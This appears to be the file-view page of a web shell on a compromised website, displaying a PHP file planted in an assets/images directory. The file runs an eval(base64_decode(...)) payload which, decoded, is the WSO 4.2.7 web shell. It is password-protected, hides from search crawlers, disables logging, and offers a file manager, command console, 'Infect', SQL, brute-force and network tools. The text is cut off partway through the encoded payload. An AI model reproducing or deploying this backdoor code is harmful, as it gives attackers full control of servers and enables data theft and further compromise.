Your IP : 216.73.216.180


Current Path : /home/bitrix/ext_www/mr.yacl.site/assets/images/
Upload File :
Current File : /home/bitrix/ext_www/mr.yacl.site/assets/images/lvkgbp.php

<?php
/*ne*/eval(/*sKaWYgKCFpc3*/base64_decode('JOKWmyA9ICI1Yzk1OTM0ZTNiN2IxY2M1MmUxM2Q4OGFhOGY5ZDlhMCI7CiTilpggPSB0cnVlOwok
4pacID0gJ1VURi04JzsKJOKWmiA9ICdGaWxlc01hbic7CiTilpkgPSBtZDUoJF9TRVJWRVJbJ0hU
VFBfVVNFUl9BR0VOVCddKTsKaWYgKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBf
SE9TVCddKS4ia2V5Il0pKSB7Cglwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSku
ImtleSIsICTilpkpOwp9CmlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkKCSRfUE9TVFsnY2hh
cnNldCddID0gJOKWnDsKaWYgKCFpc3NldCgkX1BPU1RbJ25lJ10pKSB7CglpZihpc3NldCgkX1BP
U1RbJ2EnXSkpICRfUE9TVFsnYSddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10s
IGRlY3J5cHQoJF9QT1NUWydhJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSku
ImtleSJdKSk7CglpZihpc3NldCgkX1BPU1RbJ2MnXSkpICRfUE9TVFsnYyddID0gaWNvbnYoInV0
Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydjJ10sJF9DT09LSUVbbWQ1
KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7CglpZihpc3NldCgkX1BPU1RbJ3AxJ10p
KSAkX1BPU1RbJ3AxJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlw
dCgkX1BPU1RbJ3AxJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJd
KSk7CglpZihpc3NldCgkX1BPU1RbJ3AyJ10pKSAkX1BPU1RbJ3AyJ10gPSBpY29udigidXRmLTgi
LCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgkX1BPU1RbJ3AyJ10sJF9DT09LSUVbbWQ1KCRf
U0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7CglpZihpc3NldCgkX1BPU1RbJ3AzJ10pKSAk
X1BPU1RbJ3AzJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgk
X1BPU1RbJ3AzJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7
Cn0KZnVuY3Rpb24gZGVjcnlwdCgkc3RyLCRwd2QpeyRwd2Q9YmFzZTY0X2VuY29kZSgkcHdkKTsk
c3RyPWJhc2U2NF9kZWNvZGUoJHN0cik7JGVuY19jaHI9IiI7JGVuY19zdHI9IiI7JGk9MDt3aGls
ZSgkaTxzdHJsZW4oJHN0cikpe2Zvcigkaj0wOyRqPHN0cmxlbigkcHdkKTskaisrKXskZW5jX2No
cj1jaHIob3JkKCRzdHJbJGldKV5vcmQoJHB3ZFskal0pKTskZW5jX3N0ci49JGVuY19jaHI7JGkr
KztpZigkaT49c3RybGVuKCRzdHIpKWJyZWFrO319cmV0dXJuIGJhc2U2NF9kZWNvZGUoJGVuY19z
dHIpO30KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJyww
KTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsK
aWYoZnVuY3Rpb25fZXhpc3RzKCdzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUnKSl7CglAc2V0X21h
Z2ljX3F1b3Rlc19ydW50aW1lKDApOwp9CkBkZWZpbmUoJ1ZFUlNJT04nLCAnNC4yLjcnKTsKaWYo
IWVtcHR5KCTilpspKSB7CiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BP
U1RbJ3Bhc3MnXSkgPT0gJOKWmykpCiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRU
UF9IT1NUJ10pLCAk4pabKTsKICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydI
VFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9
ICTilpspKQogICAgICAgIGhhcmRMb2dpbigpOwp9CmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9T
RVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVS
WydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJOKWmDsKCmZ1bmN0aW9uIGhhcmRMb2dp
bigpIHsKCQlpZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewoJCSAgJHVz
ZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZl
ciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOwoJCSAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2Rl
KCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkg
ewoJCSAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7CgkJICBleGl0OwoJCSAgfQoJ
CX0KCWRpZSgiPHByZSBhbGlnbj1jZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ8YnI+
PGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOndo
aXRlc21va2U7Ym9yZGVyOjFweCBzb2xpZCAjRkZGO291dGxpbmU6bm9uZTsnIHJlcXVpcmVkPjxp
bnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSd3YXRjaGluZycgdmFsdWU9J3N1Ym1pdCcgc3R5bGU9J2Jv
cmRlcjpub25lO2JhY2tncm91bmQtY29sb3I6IzU2QUQxNTtjb2xvcjojZmZmO2N1cnNvcjpwb2lu
dGVyOyc+PC9mb3JtPjwvcHJlPiIpOwp9CmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMp
KSA9PSAid2luIikKCSRvcyA9ICd3aW4nOwplbHNlCgkkb3MgPSAnbml4JzsKJHNhZmVfbW9kZSA9
IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKaWYoISRzYWZlX21vZGUpCiAgICBlcnJvcl9yZXBvcnRp
bmcoMCk7CiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycp
OwokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7CmlmKGlzc2V0KCRfUE9TVFsnYyddKSkKCUBjaGRpcigk
X1BPU1RbJ2MnXSk7CiRjd2QgPSBAZ2V0Y3dkKCk7CmlmKCRvcyA9PSAnd2luJykgewoJJGhvbWVf
Y3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOwoJJGN3ZCA9IHN0cl9yZXBs
YWNlKCJcXCIsICIvIiwgJGN3ZCk7Cn0KaWYoJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nKQoJ
JGN3ZCAuPSAnLyc7CgpmdW5jdGlvbiBoYXJkSGVhZGVyKCkgewoJaWYoZW1wdHkoJF9QT1NUWydj
aGFyc2V0J10pKQoJCSRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ+KWnCddOwoJZWNobyAi
PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0
L2h0bWw7IGNoYXJzZXQ9IiAuICRfUE9TVFsnY2hhcnNldCddIC4gIic+PHRpdGxlPiIgLiAkX1NF
UlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gV1NPICIgLiBWRVJTSU9OIC4iPC90aXRsZT4KPHN0eWxl
PgoJYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDYwQTEwOyBjb2xvcjojZTFlMWUxOyBtYXJnaW46
MDsgZm9udDpub3JtYWwgNzUlIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7IH0gY2FudmFz
eyBkaXNwbGF5OiBibG9jazsgdmVydGljYWwtYWxpZ246IGJvdHRvbTt9Cglib2R5LHRkLHRoCXtm
b250OjEwcHQgdGFob21hLGFyaWFsLHZlcmRhbmEsc2Fucy1zZXJpZixMdWNpZGEgU2FuczttYXJn
aW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7fQoJdGFibGUuaW5mbwl7Y29sb3I6I0MzQzNDMztiYWNr
Z3JvdW5kLWNvbG9yOiAjMDYwQTEwO30KCXRhYmxlI3Rvb2xzVGJsIHtiYWNrZ3JvdW5kLWNvbG9y
OiAjMDYwQTEwO30KCXNwYW4saDEsYQl7Y29sb3I6I2ZmZiAhaW1wb3J0YW50O30KCXNwYW4JCXtm
b250LXdlaWdodDpib2xkZXI7fQoJaDEJCQl7Ym9yZGVyLWxlZnQ6NXB4IHNvbGlkICMyRTZFOUM7
cGFkZGluZzoycHggNXB4O2ZvbnQ6MTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzEwMTUx
YzttYXJnaW46MHB4O30KCWRpdi5jb250ZW50CXtwYWRkaW5nOjVweDttYXJnaW4tbGVmdDo1cHg7
YmFja2dyb3VuZC1jb2xvcjojMDYwYTEwO30KCWEJCQl7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQoJ
YTpob3ZlcgkJe3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQoJLnRvb2x0aXA6OmFmdGVyIHti
YWNrZ3JvdW5kOiMwNjYzRDU7Y29sb3I6I0ZGRjtjb250ZW50OiBhdHRyKGRhdGEtdG9vbHRpcCk7
bWFyZ2luLXRvcDotNTBweDtkaXNwbGF5OmJsb2NrO3BhZGRpbmc6NnB4IDEwcHg7cG9zaXRpb246
YWJzb2x1dGU7dmlzaWJpbGl0eTpoaWRkZW47fQoJLnRvb2x0aXA6aG92ZXI6OmFmdGVyIHtvcGFj
aXR5OjE7dmlzaWJpbGl0eTp2aXNpYmxlO30KCS5tbDEJCXtib3JkZXI6MXB4IHNvbGlkICMxZTI1
MmY7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6YXV0bzt9CgkuYmlnYXJlYQl7bWluLXdp
ZHRoOjEwMCU7bWF4LXdpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30KCWlucHV0LCB0ZXh0YXJlYSwg
c2VsZWN0CXttYXJnaW46MDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzFlMjUyZjtib3Jk
ZXI6bm9uZTtmb250OjlwdCBDb3VyaWVyIE5ldztvdXRsaW5lOm5vbmU7fQoJbGFiZWwge3Bvc2l0
aW9uOnJlbGF0aXZlfQoJbGFiZWw6YWZ0ZXIge2NvbnRlbnQ6Jzw+Jztmb250OjEwcHggJ0NvbnNv
bGFzJywgbW9ub3NwYWNlO2NvbG9yOiNmZmY7LXdlYmtpdC10cmFuc2Zvcm06cm90YXRlKDkwZGVn
KTstbW96LXRyYW5zZm9ybTpyb3RhdGUoOTBkZWcpOy1tcy10cmFuc2Zvcm06cm90YXRlKDkwZGVn
KTt0cmFuc2Zvcm06cm90YXRlKDkwZGVnKTtyaWdodDozcHg7IHRvcDozcHg7cGFkZGluZzowO3Bv
c2l0aW9uOmFic29sdXRlO3BvaW50ZXItZXZlbnRzOm5vbmU7fQoJbGFiZWw6YmVmb3JlIHtjb250
ZW50OicnO3JpZ2h0OjA7IHRvcDowO3dpZHRoOjE3cHg7IGhlaWdodDoxN3B4O2JhY2tncm91bmQ6
IzFlMjUyZjtwb3NpdGlvbjphYnNvbHV0ZTtwb2ludGVyLWV2ZW50czpub25lO2Rpc3BsYXk6Ymxv
Y2s7fQoJZm9ybQkJe21hcmdpbjowcHg7fQoJI3Rvb2xzVGJsCXt0ZXh0LWFsaWduOmNlbnRlcjt9
CgkjZmFrIAkJe2JhY2tncm91bmQ6bm9uZTt9CgkjZmFrIHRkIAl7cGFkZGluZzo1cHggMCAwIDA7
fQoJaWZyYW1lCQl7Ym9yZGVyOjFweCBzb2xpZCAjMDYwYTEwO30KCS50b29sc0lucAl7d2lkdGg6
MzAwcHh9CgkubWFpbiB0aAl7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzA2MGEx
MDt9CgkubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiMzNTQyNTI7fQoJLm1haW4gdGQs
IHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9CglpbnB1dFt0eXBlPSdzdWJtaXQnXXtiYWNrZ3Jv
dW5kLWNvbG9yOiMyRTZFOUM7fQoJaW5wdXRbdHlwZT0nYnV0dG9uJ117YmFja2dyb3VuZC1jb2xv
cjojMkU2RTlDO30KCWlucHV0W3R5cGU9J3N1Ym1pdCddOmhvdmVye2JhY2tncm91bmQtY29sb3I6
IzU2QUQxNTt9CglpbnB1dFt0eXBlPSdidXR0b24nXTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1
NkFEMTU7fQoJLmwxCQkJe2JhY2tncm91bmQtY29sb3I6IzFlMjUyZjt9CglwcmUJCQl7Zm9udDo5
cHQgQ291cmllciBOZXc7fQo8L3N0eWxlPgo8c2NyaXB0PgogICAgdmFyIGNfID0gJyIgLiBodG1s
c3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsKICAgIHZhciBhXyA9ICciIC4gaHRt
bHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJwogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBo
dG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwogICAgdmFyIHAxXyA9ICci
IC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNo
YXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAyXyA9ICciIC4gKChz
dHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRf
UE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3Mo
QCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsn
cDMnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIGQgPSBkb2N1bWVudDsKCQoJZnVuY3Rpb24g
ZW5jcnlwdChzdHIscHdkKXtpZihwd2Q9PW51bGx8fHB3ZC5sZW5ndGg8PTApe3JldHVybiBudWxs
O31zdHI9YmFzZTY0X2VuY29kZShzdHIpO3B3ZD1iYXNlNjRfZW5jb2RlKHB3ZCk7dmFyIGVuY19j
aHI9Jyc7dmFyIGVuY19zdHI9Jyc7dmFyIGk9MDt3aGlsZShpPHN0ci5sZW5ndGgpe2Zvcih2YXIg
aj0wO2o8cHdkLmxlbmd0aDtqKyspe2VuY19jaHI9c3RyLmNoYXJDb2RlQXQoaSlecHdkLmNoYXJD
b2RlQXQoaik7ZW5jX3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZShlbmNfY2hyKTtpKys7aWYoaT49
c3RyLmxlbmd0aClicmVhazt9fXJldHVybiBiYXNlNjRfZW5jb2RlKGVuY19zdHIpO30KCWZ1bmN0
aW9uIHV0ZjhfZW5jb2RlKGFyZ1N0cmluZyl7dmFyIHN0cmluZz0oYXJnU3RyaW5nKycnKTt2YXIg
dXRmdGV4dD0nJyxzdGFydCxlbmQsc3RyaW5nbD0wO3N0YXJ0PWVuZD0wO3N0cmluZ2w9c3RyaW5n
Lmxlbmd0aDtmb3IodmFyIG49MDtuPHN0cmluZ2w7bisrKXt2YXIgYzE9c3RyaW5nLmNoYXJDb2Rl
QXQobik7dmFyIGVuYz1udWxsO2lmKGMxPDEyOCl7ZW5kKys7fWVsc2UgaWYoYzE+MTI3JiZjMTwy
MDQ4KXtlbmM9U3RyaW5nLmZyb21DaGFyQ29kZSgoYzE+PjYpfDE5MikrU3RyaW5nLmZyb21DaGFy
Q29kZSgoYzEmNjMpfDEyOCk7fWVsc2V7ZW5jPVN0cmluZy5mcm9tQ2hhckNvZGUoKGMxPj4xMil8
MjI0KStTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYzE+PjYpJjYzKXwxMjgpK1N0cmluZy5mcm9tQ2hh
ckNvZGUoKGMxJjYzKXwxMjgpO31pZihlbmMhPT1udWxsKXtpZihlbmQ+c3RhcnQpe3V0ZnRleHQr
PXN0cmluZy5zbGljZShzdGFydCxlbmQpO311dGZ0ZXh0Kz1lbmM7c3RhcnQ9ZW5kPW4rMTt9fWlm
KGVuZD5zdGFydCl7dXRmdGV4dCs9c3RyaW5nLnNsaWNlKHN0YXJ0LHN0cmluZ2wpO31yZXR1cm4g
dXRmdGV4dDt9CglmdW5jdGlvbiBiYXNlNjRfZW5jb2RlKGRhdGEpe3ZhciBiNjQgPSAnQUJDREVG
R0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkr
Lz0nO3ZhciBvMSxvMixvMyxoMSxoMixoMyxoNCxiaXRzLGk9MCxhYz0wLGVuYz0nJyx0bXBfYXJy
PVtdO2lmICghZGF0YSl7cmV0dXJuIGRhdGE7fWRhdGE9dXRmOF9lbmNvZGUoZGF0YSsnJyk7ZG97
bzE9ZGF0YS5jaGFyQ29kZUF0KGkrKyk7bzI9ZGF0YS5jaGFyQ29kZUF0KGkrKyk7bzM9ZGF0YS5j
aGFyQ29kZUF0KGkrKyk7Yml0cz1vMTw8MTZ8bzI8PDh8bzM7aDE9Yml0cz4+MTgmMHgzZjtoMj1i
aXRzPj4xMiYweDNmO2gzPWJpdHM+PjYmMHgzZjtoND1iaXRzJjB4M2Y7dG1wX2FyclthYysrXT1i
NjQuY2hhckF0KGgxKStiNjQuY2hhckF0KGgyKStiNjQuY2hhckF0KGgzKStiNjQuY2hhckF0KGg0
KTt9d2hpbGUoaTxkYXRhLmxlbmd0aCk7ZW5jPXRtcF9hcnIuam9pbignJyk7c3dpdGNoIChkYXRh
Lmxlbmd0aCUzKXtjYXNlIDE6ZW5jPWVuYy5zbGljZSgwLC0yKSsnPT0nO2JyZWFrO2Nhc2UgMjpl
bmM9ZW5jLnNsaWNlKDAsLTEpKyc9JzticmVhazt9cmV0dXJuIGVuYzt9CglmdW5jdGlvbiBzZXQo
YSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2Ug
ZC5tZi5hLnZhbHVlPWFfOwoJCWlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMu
dmFsdWU9Y187CgkJaWYocDEhPW51bGwpZC5tZi5wMS52YWx1ZT1wMTtlbHNlIGQubWYucDEudmFs
dWU9cDFfOwoJCWlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVl
PXAyXzsKCQlpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1w
M187CgkJZC5tZi5hLnZhbHVlID0gZW5jcnlwdChkLm1mLmEudmFsdWUsJyIuJF9DT09LSUVbbWQ1
KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdLiInKTsKCQlkLm1mLmMudmFsdWUgPSBlbmNy
eXB0KGQubWYuYy52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4i
a2V5Il0uIicpOwoJCWQubWYucDEudmFsdWUgPSBlbmNyeXB0KGQubWYucDEudmFsdWUsJyIuJF9D
T09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdLiInKTsKCQlkLm1mLnAyLnZh
bHVlID0gZW5jcnlwdChkLm1mLnAyLnZhbHVlLCciLiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRU
UF9IT1NUJ10pLiJrZXkiXS4iJyk7CgkJZC5tZi5wMy52YWx1ZSA9IGVuY3J5cHQoZC5tZi5wMy52
YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOwoJ
CWlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNo
YXJzZXQudmFsdWU9Y2hhcnNldF87Cgl9CglmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0
KSB7CgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKCQlkLm1mLnN1Ym1pdCgpOwoJfQoJZnVu
Y3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNl
dCk7CgkJdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOwoJCWZvcihpPTA7aTxkLm1mLmVsZW1lbnRz
Lmxlbmd0aDtpKyspCgkJCXBhcmFtcyArPSAnJicrZC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9Jytl
bmNvZGVVUklDb21wb25lbnQoZC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7CgkJc3IoJyIgLiBhZGRz
bGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHBhcmFtcyk7Cgl9CglmdW5jdGlv
biBzcih1cmwsIHBhcmFtcykgewoJCWlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpCgkJCXJlcSA9
IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwoJCWVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KQoJ
CQlyZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgnTWljcm9zb2Z0LlhNTEhUVFAnKTsKICAgICAgICBp
ZiAocmVxKSB7CiAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVx
Q2hhbmdlOwogICAgICAgICAgICByZXEub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7CiAgICAgICAg
ICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gt
d3d3LWZvcm0tdXJsZW5jb2RlZCcpOwogICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOwogICAg
ICAgIH0KCX0KCWZ1bmN0aW9uIHByb2Nlc3NSZXFDaGFuZ2UoKSB7CgkJaWYoIChyZXEucmVhZHlT
dGF0ZSA9PSA0KSApCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7CgkJCQl2YXIgcmVnID0gbmV3
IFJlZ0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7CgkJCQl2YXIgYXJyPXJl
Zy5leGVjKHJlcS5yZXNwb25zZVRleHQpOwoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsx
XSkpOwoJCQl9IGVsc2UgYWxlcnQoJ1JlcXVlc3QgZXJyb3IhJyk7Cgl9Cjwvc2NyaXB0Pgo8aGVh
ZD48Ym9keT48ZGl2IHN0eWxlPSdwb3NpdGlvbjphYnNvbHV0ZTtiYWNrZ3JvdW5kLWNvbG9yOnJn
YmEoOTUsIDExMCwgMTMwLCAwLjMpO3dpZHRoOjEwMCU7dG9wOjA7bGVmdDowOyc+Cjxmb3JtIG1l
dGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8aW5wdXQgdHlwZT1oaWRk
ZW4gbmFtZT1hPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgo8aW5wdXQgdHlwZT1oaWRkZW4g
bmFtZT1wMT4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CjxpbnB1dCB0eXBlPWhpZGRlbiBu
YW1lPXAzPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pgo8L2Zvcm0+IjsKCSRmcmVl
U3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSBA
ZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSAkdG90YWxT
cGFjZT8kdG90YWxTcGFjZToxOwoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVs
ID0gQHBocF91bmFtZSgncycpOwoJJGV4cGxpbmsgPSAnaHR0cDovL25vcmVmZXJlci5kZS8/aHR0
cDovL3d3dy5leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZGVzY3JpcHRpb249
JzsKCWlmKHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UpCgkJJGV4cGxpbmsgLj0g
dXJsZW5jb2RlKCdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpKTsKCWVsc2UK
CQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSww
LDMpKTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJCSR1c2VyID0g
QGdldF9jdXJyZW50X3VzZXIoKTsKCQkkdWlkID0gQGdldG15dWlkKCk7CgkJJGdpZCA9IEBnZXRt
eWdpZCgpOwoJCSRncm91cCA9ICI/IjsKCX0gZWxzZSB7CgkJJHVpZCA9IEBwb3NpeF9nZXRwd3Vp
ZChAcG9zaXhfZ2V0ZXVpZCgpKTsKCQkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRl
Z2lkKCkpOwoJCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJCSR1aWQgPSAkdWlkWyd1aWQnXTsKCQkk
Z3JvdXAgPSAkZ2lkWyduYW1lJ107CgkJJGdpZCA9ICRnaWRbJ2dpZCddOwoJfQoJJGN3ZF9saW5r
cyA9ICcnOwoJJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKCSRuPWNvdW50
KCRwYXRoKTsKCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7CgkJJGN3ZF9saW5rcyAuPSAiPGEg
aHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOwoJCWZvcigkaj0wOyAkajw9JGk7
ICRqKyspCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKCQkkY3dkX2xpbmtzIC49ICJc
IiknPiIuJHBhdGhbJGldLiIvPC9hPiI7Cgl9CgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAn
V2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKCSRvcHRfY2hhcnNl
dHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFzICTilp8pCgkJJG9wdF9jaGFyc2V0cyAuPSAn
PG9wdGlvbiB2YWx1ZT0iJy4k4pafLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0k4pafPydzZWxl
Y3RlZCc6JycpLic+Jy4k4pafLic8L29wdGlvbj4nOwoJJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+
J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ0luZmVj
dCc9PidJbmZlY3QnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1NhZmUgbW9kZSc9PidTYWZl
TW9kZScsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ0JydXRlZm9yY2UnPT4nQnJ1dGVm
b3JjZScsJ05ldHdvcmsnPT4nTmV0d29yaycpOwoJaWYoIWVtcHR5KCRHTE9CQUxTWyfilpsnXSkp
CgkkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsKCSRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1v
dmUnOwoJJG1lbnUgPSAnJzsKCWZvcmVhY2goJG0gYXMgJGsgPT4gJHYpCgkJJG1lbnUgLj0gJzx0
aD5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wn
